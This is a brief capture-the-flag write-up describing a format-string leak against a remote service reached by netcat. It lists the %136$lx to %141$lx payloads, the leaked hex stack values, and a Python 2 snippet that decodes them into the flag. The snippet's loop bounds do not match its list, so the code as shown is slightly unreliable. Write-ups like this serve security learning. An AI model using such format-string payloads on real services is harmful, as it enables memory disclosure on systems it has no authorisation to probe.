In this challenge binary was not given and you are supposed connect and guess through net cat connection.
I was just brute-forcing and from the offset 135 i started getting flag
%136$lx 5443666972616853 Hidden string is at somewhere. %137$lx 3832346435617b46 Hidden string is at somewhere. %138$lx Hidden string is at somewhere. 6237636363323336 %139$lx Hidden string is at somewhere. 6136633735336466 %140$lx Hidden string is at somewhere. 3561383761383231 %141$lx Hidden string is at somewhere. 7fc7007d6338
You will get flag through this script
>>> a = ["5443666972616853","3832346435617b46","6237636363323336","6136633735336466","3561383761383231","7fc7007d6338"] >>> for i in range(1,7): ... b = a[i].decode('hex') ... print b[::-1] ... F{a5d428 632ccc7b fd357c6a 128a78a5 8c}